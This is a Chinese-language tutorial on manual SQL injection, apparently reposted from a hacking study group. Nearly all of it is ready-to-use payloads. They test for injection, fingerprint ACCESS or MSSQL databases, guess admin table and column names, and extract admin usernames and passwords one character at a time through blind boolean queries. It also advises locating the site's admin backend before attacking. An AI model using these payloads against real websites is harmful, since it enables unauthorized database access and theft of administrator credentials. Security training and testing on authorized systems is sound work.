首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

手工注入语句详解

我不去想是否能够成功,

既然选择了远方,

便只顾风雨兼程!

手工注入语句详解

数字型:

and 1=1 and 1=2 判断是否存在注入

字符型:

' and '1'='1 ' and '1'='2

搜索型:

关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%

IIS报错情况下使用:

and user>0 (判断是ACCESS还是MSSQL)

不报错则使用各自数据库特性来判断

and (select count(*) from msysobjects)>0 (返回权限不足access数据库)

and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)

and db_name()>0 (返回数据库名)

and 0(select @@version)-- (判断版本信息)

and db_name()>0 (返回数据库名)

**注意:猜解之前先要找到后台地址,不然白忙了**

ACCESS注入:

猜解表名(正常则存在admin,不正常则不存在)

and exists (select * from [admin])

and (Select Count(*) from Admin)>0

猜解字段:(字段username存在则正常,不正常则不存在)

and (Select username from Admin)>0

and exists (select username from [admin])

猜解用户名和密码长度:

and (select top 1 len(username) from Admin)>0

and (select top 1 len(password) from Admin)>0

原 理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成 立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII码.

猜解用户:

and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,

当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。

同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…

到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。

注意的是英文和数字的ASCII码在1-128之间

本文由掘安技术小组研究室综合网络整理,图片来源于网络;转载请注明”转自掘安技术小组研究室“,并附上链接。

维权通道(客服中心):

投稿| ※风顺

照片| ※风顺※

责编| ※许心痕※

编辑| ※风顺※

审核| ※许心痕※

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180127A0BM1Z00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券